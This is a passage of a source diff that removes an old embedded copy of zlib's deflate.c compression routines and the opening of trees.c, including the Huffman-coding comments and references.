s->hash_size, sizeof(Pos)); - - s->lit_bufsize = 1 << (memLevel + 6); /* 16K elements by default */ - - overlay = (ushf *) ZALLOC(strm, s->lit_bufsize, sizeof(ush)+2); - s->pending_buf = (uchf *) overlay; - s->pending_buf_size = (ulg)s->lit_bufsize * (sizeof(ush)+2L); - - if (s->window == Z_NULL || s->prev == Z_NULL || s->head == Z_NULL || - s->pending_buf == Z_NULL) { - strm->msg = (const char*)ERR_MSG(Z_MEM_ERROR); - deflateEnd (strm); - return Z_MEM_ERROR; - } - s->d_buf = overlay + s->lit_bufsize/sizeof(ush); - s->l_buf = s->pending_buf + (1+sizeof(ush))*s->lit_bufsize; - - s->level = level; - s->strategy = strategy; - s->method = (Byte)method; - - return deflateReset(strm); -} - -/* ========================================================================= */ -int deflateSetDictionary (strm, dictionary, dictLength) - z_streamp strm; - const Bytef *dictionary; - uInt dictLength; -{ - deflate_state *s; - uInt length = dictLength; - uInt n; - IPos hash_head = 0; - - if (strm == Z_NULL || strm->state == Z_NULL || dictionary == Z_NULL) - return Z_STREAM_ERROR; - - s = (deflate_state *) strm->state; - if (s->status != INIT_STATE) return Z_STREAM_ERROR; - - strm->adler = adler32(strm->adler, dictionary, dictLength); - - if (length < MIN_MATCH) return Z_OK; - if (length > MAX_DIST(s)) { - length = MAX_DIST(s); -#ifndef USE_DICT_HEAD - dictionary += dictLength - length; /* use the tail of the dictionary */ -#endif - } - zmemcpy((charf *)s->window, dictionary, length); - s->strstart = length; - s->block_start = (long)length; - - /* Insert all strings in the hash table (except for the last two bytes). - * s->lookahead stays null, so s->ins_h will be recomputed at the next - * call of fill_window. - */ - s->ins_h = s->window[0]; - UPDATE_HASH(s, s->ins_h, s->window[1]); - for (n = 0; n <= length - MIN_MATCH; n++) { - INSERT_STRING(s, n, hash_head); - } - if (hash_head) hash_head = 0; /* to make compiler happy */ - return Z_OK; -} - -/* ========================================================================= */ -int deflateReset (strm) - z_streamp strm; -{ - deflate_state *s; - - if (strm == Z_NULL || strm->state == Z_NULL || - strm->zalloc == Z_NULL || strm->zfree == Z_NULL) return Z_STREAM_ERROR; - - strm->total_in = strm->total_out = 0; - strm->msg = Z_NULL; /* use zfree if we ever allocate msg dynamically */ - strm->data_type = Z_UNKNOWN; - - s = (deflate_state *)strm->state; - s->pending = 0; - s->pending_out = s->pending_buf; - - if (s->noheader < 0) { - s->noheader = 0; /* was set to -1 by deflate(..., Z_FINISH); */ - } - s->status = s->noheader ? BUSY_STATE : INIT_STATE; - strm->adler = 1; - s->last_flush = Z_NO_FLUSH; - - _tr_init(s); - lm_init(s); - - return Z_OK; -} - -/* ========================================================================= */ -int deflateParams(strm, level, strategy) - z_streamp strm; - int level; - int strategy; -{ - deflate_state *s; - compress_func func; - int err = Z_OK; - - if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; - s = (deflate_state *) strm->state; - - if (level == Z_DEFAULT_COMPRESSION) { - level = 6; - } - if (level < 0 || level > 9 || strategy < 0 || strategy > Z_HUFFMAN_ONLY) { - return Z_STREAM_ERROR; - } - func = configuration_table[s->level].func; - - if (func != configuration_table[level].func && strm->total_in != 0) { - /* Flush the last buffer: */ - err = deflate(strm, Z_PARTIAL_FLUSH); - } - if (s->level != level) { - s->level = level; - s->max_lazy_match = configuration_table[level].max_lazy; - s->good_match = configuration_table[level].good_length; - s->nice_match = configuration_table[level].nice_length; - s->max_chain_length = configuration_table[level].max_chain; - } - s->strategy = strategy; - return err; -} - -/* ========================================================================= - * Put a short in the pending buffer. The 16-bit value is put in MSB order. - * IN assertion: the stream state is correct and there is enough room in - * pending_buf. - */ -local void putShortMSB (s, b) - deflate_state *s; - uInt b; -{ - put_byte(s, (Byte)(b >> 8)); - put_byte(s, (Byte)(b & 0xff)); -} - -/* ========================================================================= - * Flush as much pending output as possible. All deflate() output goes - * through this function so some applications may wish to modify it - * to avoid allocating a large strm->next_out buffer and copying into it. - * (See also read_buf()). - */ -local void flush_pending(strm) - z_streamp strm; -{ - deflate_state *s = (deflate_state *) strm->state; - unsigned len = s->pending; - - if (len > strm->avail_out) len = strm->avail_out; - if (len == 0) return; - - if (strm->next_out != Z_NULL) { - zmemcpy(strm->next_out, s->pending_out, len); - strm->next_out += len; - } - s->pending_out += len; - strm->total_out += len; - strm->avail_out -= len; - s->pending -= len; - if (s->pending == 0) { - s->pending_out = s->pending_buf; - } -} - -/* ========================================================================= */ -int deflate (strm, flush) - z_streamp strm; - int flush; -{ - int old_flush; /* value of flush param for previous deflate call */ - deflate_state *s; - - if (strm == Z_NULL || strm->state == Z_NULL || - flush > Z_FINISH || flush < 0) { - return Z_STREAM_ERROR; - } - s = (deflate_state *) strm->state; - - if ((strm->next_in == Z_NULL && strm->avail_in != 0) || - (s->status == FINISH_STATE && flush != Z_FINISH)) { - ERR_RETURN(strm, Z_STREAM_ERROR); - } - if (strm->avail_out == 0) ERR_RETURN(strm, Z_BUF_ERROR); - - s->strm = strm; /* just in case */ - old_flush = s->last_flush; - s->last_flush = flush; - - /* Write the zlib header */ - if (s->status == INIT_STATE) { - - uInt header = (Z_DEFLATED + ((s->w_bits-8)<<4)) << 8; - uInt level_flags = (s->level-1) >> 1; - - if (level_flags > 3) level_flags = 3; - header |= (level_flags << 6); - if (s->strstart != 0) header |= PRESET_DICT; - header += 31 - (header % 31); - - s->status = BUSY_STATE; - putShortMSB(s, header); - - /* Save the adler32 of the preset dictionary: */ - if (s->strstart != 0) { - putShortMSB(s, (uInt)(strm->adler >> 16)); - putShortMSB(s, (uInt)(strm->adler & 0xffff)); - } - strm->adler = 1L; - } - - /* Flush as much pending output as possible */ - if (s->pending != 0) { - flush_pending(strm); - if (strm->avail_out == 0) { - /* Since avail_out is 0, deflate will be called again with - * more output space, but possibly with both pending and - * avail_in equal to zero. There won't be anything to do, - * but this is not an error situation so make sure we - * return OK instead of BUF_ERROR at next call of deflate: - */ - s->last_flush = -1; - return Z_OK; - } - - /* Make sure there is something to do and avoid duplicate consecutive - * flushes. For repeated and useless calls with Z_FINISH, we keep - * returning Z_STREAM_END instead of Z_BUFF_ERROR. - */ - } else if (strm->avail_in == 0 && flush <= old_flush && - flush != Z_FINISH) { - ERR_RETURN(strm, Z_BUF_ERROR); - } - - /* User must not provide more input after the first FINISH: */ - if (s->status == FINISH_STATE && strm->avail_in != 0) { - ERR_RETURN(strm, Z_BUF_ERROR); - } - - /* Start a new block or continue the current one. - */ - if (strm->avail_in != 0 || s->lookahead != 0 || - (flush != Z_NO_FLUSH && s->status != FINISH_STATE)) { - block_state bstate; - - bstate = (*(configuration_table[s->level].func))(s, flush); - - if (bstate == finish_started || bstate == finish_done) { - s->status = FINISH_STATE; - } - if (bstate == need_more || bstate == finish_started) { - if (strm->avail_out == 0) { - s->last_flush = -1; /* avoid BUF_ERROR next call, see above */ - } - return Z_OK; - /* If flush != Z_NO_FLUSH && avail_out == 0, the next call - * of deflate should use the same flush parameter to make sure - * that the flush is complete. So we don't have to output an - * empty block here, this will be done at next call. This also - * ensures that for a very small output buffer, we emit at most - * one empty block. - */ - } - if (bstate == block_done) { - if (flush == Z_PARTIAL_FLUSH) { - _tr_align(s); - } else if (flush == Z_PACKET_FLUSH) { - /* Output just the 3-bit `stored' block type value, - but not a zero length. */ - _tr_stored_type_only(s); - } else { /* FULL_FLUSH or SYNC_FLUSH */ - _tr_stored_block(s, (char*)0, 0L, 0); - /* For a full flush, this empty block will be recognized - * as a special marker by inflate_sync(). - */ - if (flush == Z_FULL_FLUSH) { - CLEAR_HASH(s); /* forget history */ - } - } - flush_pending(strm); - if (strm->avail_out == 0) { - s->last_flush = -1; /* avoid BUF_ERROR at next call, see above */ - return Z_OK; - } - } - } - Assert(strm->avail_out > 0, "bug2"); - - if (flush != Z_FINISH) return Z_OK; - if (s->noheader) return Z_STREAM_END; - - /* Write the zlib trailer (adler32) */ - putShortMSB(s, (uInt)(strm->adler >> 16)); - putShortMSB(s, (uInt)(strm->adler & 0xffff)); - flush_pending(strm); - /* If avail_out is zero, the application will call deflate again - * to flush the rest. - */ - s->noheader = -1; /* write the trailer only once! */ - return s->pending != 0 ? Z_OK : Z_STREAM_END; -} - -/* ========================================================================= */ -int deflateEnd (strm) - z_streamp strm; -{ - int status; - deflate_state *s; - - if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; - s = (deflate_state *) strm->state; - - status = s->status; - if (status != INIT_STATE && status != BUSY_STATE && - status != FINISH_STATE) { - return Z_STREAM_ERROR; - } - - /* Deallocate in reverse order of allocations: */ - TRY_FREE(strm, s->pending_buf); - TRY_FREE(strm, s->head); - TRY_FREE(strm, s->prev); - TRY_FREE(strm, s->window); - - ZFREE(strm, s); - strm->state = Z_NULL; - - return status == BUSY_STATE ? Z_DATA_ERROR : Z_OK; -} - -/* ========================================================================= - * Copy the source state to the destination state. - */ -int deflateCopy (dest, source) - z_streamp dest; - z_streamp source; -{ - deflate_state *ds; - deflate_state *ss; - ushf *overlay; - - if (source == Z_NULL || dest == Z_NULL || source->state == Z_NULL) - return Z_STREAM_ERROR; - ss = (deflate_state *) source->state; - - zmemcpy(dest, source, sizeof(*dest)); - - ds = (deflate_state *) ZALLOC(dest, 1, sizeof(deflate_state)); - if (ds == Z_NULL) return Z_MEM_ERROR; - dest->state = (struct internal_state FAR *) ds; - zmemcpy(ds, ss, sizeof(*ds)); - ds->strm = dest; - - ds->window = (Bytef *) ZALLOC(dest, ds->w_size, 2*sizeof(Byte)); - ds->prev = (Posf *) ZALLOC(dest, ds->w_size, sizeof(Pos)); - ds->head = (Posf *) ZALLOC(dest, ds->hash_size, sizeof(Pos)); - overlay = (ushf *) ZALLOC(dest, ds->lit_bufsize, sizeof(ush)+2); - ds->pending_buf = (uchf *) overlay; - - if (ds->window == Z_NULL || ds->prev == Z_NULL || ds->head == Z_NULL || - ds->pending_buf == Z_NULL) { - deflateEnd (dest); - return Z_MEM_ERROR; - } - /* ??? following zmemcpy doesn't work for 16-bit MSDOS */ - zmemcpy(ds->window, ss->window, ds->w_size * 2 * sizeof(Byte)); - zmemcpy(ds->prev, ss->prev, ds->w_size * sizeof(Pos)); - zmemcpy(ds->head, ss->head, ds->hash_size * sizeof(Pos)); - zmemcpy(ds->pending_buf, ss->pending_buf, (uInt)ds->pending_buf_size); - - ds->pending_out = ds->pending_buf + (ss->pending_out - ss->pending_buf); - ds->d_buf = overlay + ds->lit_bufsize/sizeof(ush); - ds->l_buf = ds->pending_buf + (1+sizeof(ush))*ds->lit_bufsize; - - ds->l_desc.dyn_tree = ds->dyn_ltree; - ds->d_desc.dyn_tree = ds->dyn_dtree; - ds->bl_desc.dyn_tree = ds->bl_tree; - - return Z_OK; -} - -/* =========================================================================== - * Return the number of bytes of output which are immediately available - * for output from the decompressor. - */ -int deflateOutputPending (strm) - z_streamp strm; -{ - if (strm == Z_NULL || strm->state == Z_NULL) return 0; - - return ((deflate_state *)(strm->state))->pending; -} - -/* =========================================================================== - * Read a new buffer from the current input stream, update the adler32 - * and total number of bytes read. All deflate() input goes through - * this function so some applications may wish to modify it to avoid - * allocating a large strm->next_in buffer and copying from it. - * (See also flush_pending()). - */ -local int read_buf(strm, buf, size) - z_streamp strm; - charf *buf; - unsigned size; -{ - unsigned len = strm->avail_in; - - if (len > size) len = size; - if (len == 0) return 0; - - strm->avail_in -= len; - - if (!((deflate_state *)(strm->state))->noheader) { - strm->adler = adler32(strm->adler, strm->next_in, len); - } - zmemcpy(buf, strm->next_in, len); - strm->next_in += len; - strm->total_in += len; - - return (int)len; -} - -/* =========================================================================== - * Initialize the "longest match" routines for a new zlib stream - */ -local void lm_init (s) - deflate_state *s; -{ - s->window_size = (ulg)2L*s->w_size; - - CLEAR_HASH(s); - - /* Set the default configuration parameters: - */ - s->max_lazy_match = configuration_table[s->level].max_lazy; - s->good_match = configuration_table[s->level].good_length; - s->nice_match = configuration_table[s->level].nice_length; - s->max_chain_length = configuration_table[s->level].max_chain; - - s->strstart = 0; - s->block_start = 0L; - s->lookahead = 0; - s->match_length = s->prev_length = MIN_MATCH-1; - s->match_available = 0; - s->ins_h = 0; -#ifdef ASMV - match_init(); /* initialize the asm code */ -#endif -} - -/* =========================================================================== - * Set match_start to the longest match starting at the given string and - * return its length. Matches shorter or equal to prev_length are discarded, - * in which case the result is equal to prev_length and match_start is - * garbage. - * IN assertions: cur_match is the head of the hash chain for the current - * string (strstart) and its distance is <= MAX_DIST, and prev_length >= 1 - * OUT assertion: the match length is not greater than s->lookahead. - */ -#ifndef ASMV -/* For 80x86 and 680x0, an optimized version will be provided in match.asm or - * match.S. The code will be functionally equivalent. - */ -local uInt longest_match(s, cur_match) - deflate_state *s; - IPos cur_match; /* current match */ -{ - unsigned chain_length = s->max_chain_length;/* max hash chain length */ - register Bytef *scan = s->window + s->strstart; /* current string */ - register Bytef *match; /* matched string */ - register int len; /* length of current match */ - int best_len = s->prev_length; /* best match length so far */ - int nice_match = s->nice_match; /* stop if match long enough */ - IPos limit = s->strstart > (IPos)MAX_DIST(s) ? - s->strstart - (IPos)MAX_DIST(s) : NIL; - /* Stop when cur_match becomes <= limit. To simplify the code, - * we prevent matches with the string of window index 0. - */ - Posf *prev = s->prev; - uInt wmask = s->w_mask; - -#ifdef UNALIGNED_OK - /* Compare two bytes at a time. Note: this is not always beneficial. - * Try with and without -DUNALIGNED_OK to check. - */ - register Bytef *strend = s->window + s->strstart + MAX_MATCH - 1; - register ush scan_start = *(ushf*)scan; - register ush scan_end = *(ushf*)(scan+best_len-1); -#else - register Bytef *strend = s->window + s->strstart + MAX_MATCH; - register Byte scan_end1 = scan[best_len-1]; - register Byte scan_end = scan[best_len]; -#endif - - /* The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16. - * It is easy to get rid of this optimization if necessary. - */ - Assert(s->hash_bits >= 8 && MAX_MATCH == 258, "Code too clever"); - - /* Do not waste too much time if we already have a good match: */ - if (s->prev_length >= s->good_match) { - chain_length >>= 2; - } - /* Do not look for matches beyond the end of the input. This is necessary - * to make deflate deterministic. - */ - if ((uInt)nice_match > s->lookahead) nice_match = s->lookahead; - - Assert((ulg)s->strstart <= s->window_size-MIN_LOOKAHEAD, "need lookahead"); - - do { - Assert(cur_match < s->strstart, "no future"); - match = s->window + cur_match; - - /* Skip to next match if the match length cannot increase - * or if the match length is less than 2: - */ -#if (defined(UNALIGNED_OK) && MAX_MATCH == 258) - /* This code assumes sizeof(unsigned short) == 2. Do not use - * UNALIGNED_OK if your compiler uses a different size. - */ - if (*(ushf*)(match+best_len-1) != scan_end || - *(ushf*)match != scan_start) continue; - - /* It is not necessary to compare scan[2] and match[2] since they are - * always equal when the other bytes match, given that the hash keys - * are equal and that HASH_BITS >= 8. Compare 2 bytes at a time at - * strstart+3, +5, ... up to strstart+257. We check for insufficient - * lookahead only every 4th comparison; the 128th check will be made - * at strstart+257. If MAX_MATCH-2 is not a multiple of 8, it is - * necessary to put more guard bytes at the end of the window, or - * to check more often for insufficient lookahead. - */ - Assert(scan[2] == match[2], "scan[2]?"); - scan++, match++; - do { - } while (*(ushf*)(scan+=2) == *(ushf*)(match+=2) && - *(ushf*)(scan+=2) == *(ushf*)(match+=2) && - *(ushf*)(scan+=2) == *(ushf*)(match+=2) && - *(ushf*)(scan+=2) == *(ushf*)(match+=2) && - scan < strend); - /* The funny "do {}" generates better code on most compilers */ - - /* Here, scan <= window+strstart+257 */ - Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan"); - if (*scan == *match) scan++; - - len = (MAX_MATCH - 1) - (int)(strend-scan); - scan = strend - (MAX_MATCH-1); - -#else /* UNALIGNED_OK */ - - if (match[best_len] != scan_end || - match[best_len-1] != scan_end1 || - *match != *scan || - *++match != scan[1]) continue; - - /* The check at best_len-1 can be removed because it will be made - * again later. (This heuristic is not always a win.) - * It is not necessary to compare scan[2] and match[2] since they - * are always equal when the other bytes match, given that - * the hash keys are equal and that HASH_BITS >= 8. - */ - scan += 2, match++; - Assert(*scan == *match, "match[2]?"); - - /* We check for insufficient lookahead only every 8th comparison; - * the 256th check will be made at strstart+258. - */ - do { - } while (*++scan == *++match && *++scan == *++match && - *++scan == *++match && *++scan == *++match && - *++scan == *++match && *++scan == *++match && - *++scan == *++match && *++scan == *++match && - scan < strend); - - Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan"); - - len = MAX_MATCH - (int)(strend - scan); - scan = strend - MAX_MATCH; - -#endif /* UNALIGNED_OK */ - - if (len > best_len) { - s->match_start = cur_match; - best_len = len; - if (len >= nice_match) break; -#ifdef UNALIGNED_OK - scan_end = *(ushf*)(scan+best_len-1); -#else - scan_end1 = scan[best_len-1]; - scan_end = scan[best_len]; -#endif - } - } while ((cur_match = prev[cur_match & wmask]) > limit - && --chain_length != 0); - - if ((uInt)best_len <= s->lookahead) return best_len; - return s->lookahead; -} -#endif /* ASMV */ - -#ifdef DEBUG_ZLIB -/* =========================================================================== - * Check that the match at match_start is indeed a match. - */ -local void check_match(s, start, match, length) - deflate_state *s; - IPos start, match; - int length; -{ - /* check that the match is indeed a match */ - if (zmemcmp((charf *)s->window + match, - (charf *)s->window + start, length) != EQUAL) { - fprintf(stderr, " start %u, match %u, length %d\n", - start, match, length); - do { - fprintf(stderr, "%c%c", s->window[match++], s->window[start++]); - } while (--length != 0); - z_error("invalid match"); - } - if (z_verbose > 1) { - fprintf(stderr,"\\[%d,%d]", start-match, length); - do { putc(s->window[start++], stderr); } while (--length != 0); - } -} -#else -# define check_match(s, start, match, length) -#endif - -/* =========================================================================== - * Fill the window when the lookahead becomes insufficient. - * Updates strstart and lookahead. - * - * IN assertion: lookahead < MIN_LOOKAHEAD - * OUT assertions: strstart <= window_size-MIN_LOOKAHEAD - * At least one byte has been read, or avail_in == 0; reads are - * performed for at least two bytes (required for the zip translate_eol - * option -- not supported here). - */ -local void fill_window(s) - deflate_state *s; -{ - register unsigned n, m; - register Posf *p; - unsigned more; /* Amount of free space at the end of the window. */ - uInt wsize = s->w_size; - - do { - more = (unsigned)(s->window_size -(ulg)s->lookahead -(ulg)s->strstart); - - /* Deal with !@#$% 64K limit: */ - if (more == 0 && s->strstart == 0 && s->lookahead == 0) { - more = wsize; - - } else if (more == (unsigned)(-1)) { - /* Very unlikely, but possible on 16 bit machine if strstart == 0 - * and lookahead == 1 (input done one byte at time) - */ - more--; - - /* If the window is almost full and there is insufficient lookahead, - * move the upper half to the lower one to make room in the upper half. - */ - } else if (s->strstart >= wsize+MAX_DIST(s)) { - - zmemcpy((charf *)s->window, (charf *)s->window+wsize, - (unsigned)wsize); - s->match_start -= wsize; - s->strstart -= wsize; /* we now have strstart >= MAX_DIST */ - s->block_start -= (long) wsize; - - /* Slide the hash table (could be avoided with 32 bit values - at the expense of memory usage). We slide even when level == 0 - to keep the hash table consistent if we switch back to level > 0 - later. (Using level 0 permanently is not an optimal usage of - zlib, so we don't care about this pathological case.) - */ - n = s->hash_size; - p = &s->head[n]; - do { - m = *--p; - *p = (Pos)(m >= wsize ? m-wsize : NIL); - } while (--n); - - n = wsize; - p = &s->prev[n]; - do { - m = *--p; - *p = (Pos)(m >= wsize ? m-wsize : NIL); - /* If n is not on any hash chain, prev[n] is garbage but - * its value will never be used. - */ - } while (--n); - more += wsize; - } - if (s->strm->avail_in == 0) return; - - /* If there was no sliding: - * strstart <= WSIZE+MAX_DIST-1 && lookahead <= MIN_LOOKAHEAD - 1 && - * more == window_size - lookahead - strstart - * => more >= window_size - (MIN_LOOKAHEAD-1 + WSIZE + MAX_DIST-1) - * => more >= window_size - 2*WSIZE + 2 - * In the BIG_MEM or MMAP case (not yet supported), - * window_size == input_size + MIN_LOOKAHEAD && - * strstart + s->lookahead <= input_size => more >= MIN_LOOKAHEAD. - * Otherwise, window_size == 2*WSIZE so more >= 2. - * If there was sliding, more >= WSIZE. So in all cases, more >= 2. - */ - Assert(more >= 2, "more < 2"); - - n = read_buf(s->strm, (charf *)s->window + s->strstart + s->lookahead, - more); - s->lookahead += n; - - /* Initialize the hash value now that we have some input: */ - if (s->lookahead >= MIN_MATCH) { - s->ins_h = s->window[s->strstart]; - UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]); -#if MIN_MATCH != 3 - Call UPDATE_HASH() MIN_MATCH-3 more times -#endif - } - /* If the whole input has less than MIN_MATCH bytes, ins_h is garbage, - * but this is not important since only literal bytes will be emitted. - */ - - } while (s->lookahead < MIN_LOOKAHEAD && s->strm->avail_in != 0); -} - -/* =========================================================================== - * Flush the current block, with given end-of-file flag. - * IN assertion: strstart is set to the end of the current match. - */ -#define FLUSH_BLOCK_ONLY(s, eof) { \ - _tr_flush_block(s, (s->block_start >= 0L ? \ - (charf *)&s->window[(unsigned)s->block_start] : \ - (charf *)Z_NULL), \ - (ulg)((long)s->strstart - s->block_start), \ - (eof)); \ - s->block_start = s->strstart; \ - flush_pending(s->strm); \ - Tracev((stderr,"[FLUSH]")); \ -} - -/* Same but force premature exit if necessary. */ -#define FLUSH_BLOCK(s, eof) { \ - FLUSH_BLOCK_ONLY(s, eof); \ - if (s->strm->avail_out == 0) return (eof) ? finish_started : need_more; \ -} - -/* =========================================================================== - * Copy without compression as much as possible from the input stream, return - * the current block state. - * This function does not insert new strings in the dictionary since - * uncompressible data is probably not useful. This function is used - * only for the level=0 compression option. - * NOTE: this function should be optimized to avoid extra copying from - * window to pending_buf. - */ -local block_state deflate_stored(s, flush) - deflate_state *s; - int flush; -{ - /* Stored blocks are limited to 0xffff bytes, pending_buf is limited - * to pending_buf_size, and each stored block has a 5 byte header: - */ - ulg max_block_size = 0xffff; - ulg max_start; - - if (max_block_size > s->pending_buf_size - 5) { - max_block_size = s->pending_buf_size - 5; - } - - /* Copy as much as possible from input to output: */ - for (;;) { - /* Fill the window as much as possible: */ - if (s->lookahead <= 1) { - - Assert(s->strstart < s->w_size+MAX_DIST(s) || - s->block_start >= (long)s->w_size, "slide too late"); - - fill_window(s); - if (s->lookahead == 0 && flush == Z_NO_FLUSH) return need_more; - - if (s->lookahead == 0) break; /* flush the current block */ - } - Assert(s->block_start >= 0L, "block gone"); - - s->strstart += s->lookahead; - s->lookahead = 0; - - /* Emit a stored block if pending_buf will be full: */ - max_start = s->block_start + max_block_size; - if (s->strstart == 0 || (ulg)s->strstart >= max_start) { - /* strstart == 0 is possible when wraparound on 16-bit machine */ - s->lookahead = (uInt)(s->strstart - max_start); - s->strstart = (uInt)max_start; - FLUSH_BLOCK(s, 0); - } - /* Flush if we may have to slide, otherwise block_start may become - * negative and the data will be gone: - */ - if (s->strstart - (uInt)s->block_start >= MAX_DIST(s)) { - FLUSH_BLOCK(s, 0); - } - } - FLUSH_BLOCK(s, flush == Z_FINISH); - return flush == Z_FINISH ? finish_done : block_done; -} - -/* =========================================================================== - * Compress as much as possible from the input stream, return the current - * block state. - * This function does not perform lazy evaluation of matches and inserts - * new strings in the dictionary only for unmatched strings or for short - * matches. It is used only for the fast compression options. - */ -local block_state deflate_fast(s, flush) - deflate_state *s; - int flush; -{ - IPos hash_head = NIL; /* head of the hash chain */ - int bflush; /* set if current block must be flushed */ - - for (;;) { - /* Make sure that we always have enough lookahead, except - * at the end of the input file. We need MAX_MATCH bytes - * for the next match, plus MIN_MATCH bytes to insert the - * string following the next match. - */ - if (s->lookahead < MIN_LOOKAHEAD) { - fill_window(s); - if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) { - return need_more; - } - if (s->lookahead == 0) break; /* flush the current block */ - } - - /* Insert the string window[strstart .. strstart+2] in the - * dictionary, and set hash_head to the head of the hash chain: - */ - if (s->lookahead >= MIN_MATCH) { - INSERT_STRING(s, s->strstart, hash_head); - } - - /* Find the longest match, discarding those <= prev_length. - * At this point we have always match_length < MIN_MATCH - */ - if (hash_head != NIL && s->strstart - hash_head <= MAX_DIST(s)) { - /* To simplify the code, we prevent matches with the string - * of window index 0 (in particular we have to avoid a match - * of the string with itself at the start of the input file). - */ - if (s->strategy != Z_HUFFMAN_ONLY) { - s->match_length = longest_match (s, hash_head); - } - /* longest_match() sets match_start */ - } - if (s->match_length >= MIN_MATCH) { - check_match(s, s->strstart, s->match_start, s->match_length); - - bflush = _tr_tally(s, s->strstart - s->match_start, - s->match_length - MIN_MATCH); - - s->lookahead -= s->match_length; - - /* Insert new strings in the hash table only if the match length - * is not too large. This saves time but degrades compression. - */ - if (s->match_length <= s->max_insert_length && - s->lookahead >= MIN_MATCH) { - s->match_length--; /* string at strstart already in hash table */ - do { - s->strstart++; - INSERT_STRING(s, s->strstart, hash_head); - /* strstart never exceeds WSIZE-MAX_MATCH, so there are - * always MIN_MATCH bytes ahead. - */ - } while (--s->match_length != 0); - s->strstart++; - } else { - s->strstart += s->match_length; - s->match_length = 0; - s->ins_h = s->window[s->strstart]; - UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]); -#if MIN_MATCH != 3 - Call UPDATE_HASH() MIN_MATCH-3 more times -#endif - /* If lookahead < MIN_MATCH, ins_h is garbage, but it does not - * matter since it will be recomputed at next deflate call. - */ - } - } else { - /* No match, output a literal byte */ - Tracevv((stderr,"%c", s->window[s->strstart])); - bflush = _tr_tally (s, 0, s->window[s->strstart]); - s->lookahead--; - s->strstart++; - } - if (bflush) FLUSH_BLOCK(s, 0); - } - FLUSH_BLOCK(s, flush == Z_FINISH); - return flush == Z_FINISH ? finish_done : block_done; -} - -/* =========================================================================== - * Same as above, but achieves better compression. We use a lazy - * evaluation for matches: a match is finally adopted only if there is - * no better match at the next window position. - */ -local block_state deflate_slow(s, flush) - deflate_state *s; - int flush; -{ - IPos hash_head = NIL; /* head of hash chain */ - int bflush; /* set if current block must be flushed */ - - /* Process the input block. */ - for (;;) { - /* Make sure that we always have enough lookahead, except - * at the end of the input file. We need MAX_MATCH bytes - * for the next match, plus MIN_MATCH bytes to insert the - * string following the next match. - */ - if (s->lookahead < MIN_LOOKAHEAD) { - fill_window(s); - if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) { - return need_more; - } - if (s->lookahead == 0) break; /* flush the current block */ - } - - /* Insert the string window[strstart .. strstart+2] in the - * dictionary, and set hash_head to the head of the hash chain: - */ - if (s->lookahead >= MIN_MATCH) { - INSERT_STRING(s, s->strstart, hash_head); - } - - /* Find the longest match, discarding those <= prev_length. - */ - s->prev_length = s->match_length, s->prev_match = s->match_start; - s->match_length = MIN_MATCH-1; - - if (hash_head != NIL && s->prev_length < s->max_lazy_match && - s->strstart - hash_head <= MAX_DIST(s)) { - /* To simplify the code, we prevent matches with the string - * of window index 0 (in particular we have to avoid a match - * of the string with itself at the start of the input file). - */ - if (s->strategy != Z_HUFFMAN_ONLY) { - s->match_length = longest_match (s, hash_head); - } - /* longest_match() sets match_start */ - - if (s->match_length <= 5 && (s->strategy == Z_FILTERED || - (s->match_length == MIN_MATCH && - s->strstart - s->match_start > TOO_FAR))) { - - /* If prev_match is also MIN_MATCH, match_start is garbage - * but we will ignore the current match anyway. - */ - s->match_length = MIN_MATCH-1; - } - } - /* If there was a match at the previous step and the current - * match is not better, output the previous match: - */ - if (s->prev_length >= MIN_MATCH && s->match_length <= s->prev_length) { - uInt max_insert = s->strstart + s->lookahead - MIN_MATCH; - /* Do not insert strings in hash table beyond this. */ - - check_match(s, s->strstart-1, s->prev_match, s->prev_length); - - bflush = _tr_tally(s, s->strstart -1 - s->prev_match, - s->prev_length - MIN_MATCH); - - /* Insert in hash table all strings up to the end of the match. - * strstart-1 and strstart are already inserted. If there is not - * enough lookahead, the last two strings are not inserted in - * the hash table. - */ - s->lookahead -= s->prev_length-1; - s->prev_length -= 2; - do { - if (++s->strstart <= max_insert) { - INSERT_STRING(s, s->strstart, hash_head); - } - } while (--s->prev_length != 0); - s->match_available = 0; - s->match_length = MIN_MATCH-1; - s->strstart++; - - if (bflush) FLUSH_BLOCK(s, 0); - - } else if (s->match_available) { - /* If there was no match at the previous position, output a - * single literal. If there was a match but the current match - * is longer, truncate the previous match to a single literal. - */ - Tracevv((stderr,"%c", s->window[s->strstart-1])); - if (_tr_tally (s, 0, s->window[s->strstart-1])) { - FLUSH_BLOCK_ONLY(s, 0); - } - s->strstart++; - s->lookahead--; - if (s->strm->avail_out == 0) return need_more; - } else { - /* There is no previous match to compare with, wait for - * the next step to decide. - */ - s->match_available = 1; - s->strstart++; - s->lookahead--; - } - } - Assert (flush != Z_NO_FLUSH, "no flush?"); - if (s->match_available) { - Tracevv((stderr,"%c", s->window[s->strstart-1])); - _tr_tally (s, 0, s->window[s->strstart-1]); - s->match_available = 0; - } - FLUSH_BLOCK(s, flush == Z_FINISH); - return flush == Z_FINISH ? finish_done : block_done; -} -/* --- deflate.c */ - -/* +++ trees.c */ -/* trees.c -- output deflated data using Huffman coding - * Copyright (C) 1995-1996 Jean-loup Gailly - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* - * ALGORITHM - * - * The "deflation" process uses several Huffman trees. The more - * common source values are represented by shorter bit sequences. - * - * Each code tree is stored in a compressed form which is itself - * a Huffman encoding of the lengths of all the code strings (in - * ascending order by source values). The actual code strings are - * reconstructed from the lengths in the inflate process, as described - * in the deflate specification. - * - * REFERENCES - * - * Deutsch, L.P.,"'Deflate' Compressed Data Format Specification". - * Available in ftp.uu.net:/pub/archiving/zip/doc/deflate-1.1.doc - * - * Storer, James A. - * Data Compression: Methods and Theory, pp. 49-50. - * Computer Science Press, 1988. ISBN 0-7167-8156-5. - * - * Sedgewick, R. - * Algorithms, p290. - * Addison-Wesley, 1983. ISBN 0-201-06672-6. - */ - -/* From: trees.c,v 1.11 1996/07/24 13:41:06 me Exp $ */ - -/* #include "deflate.h" */ - -#ifdef DEBUG_ZLIB -# include -#endif - -/* 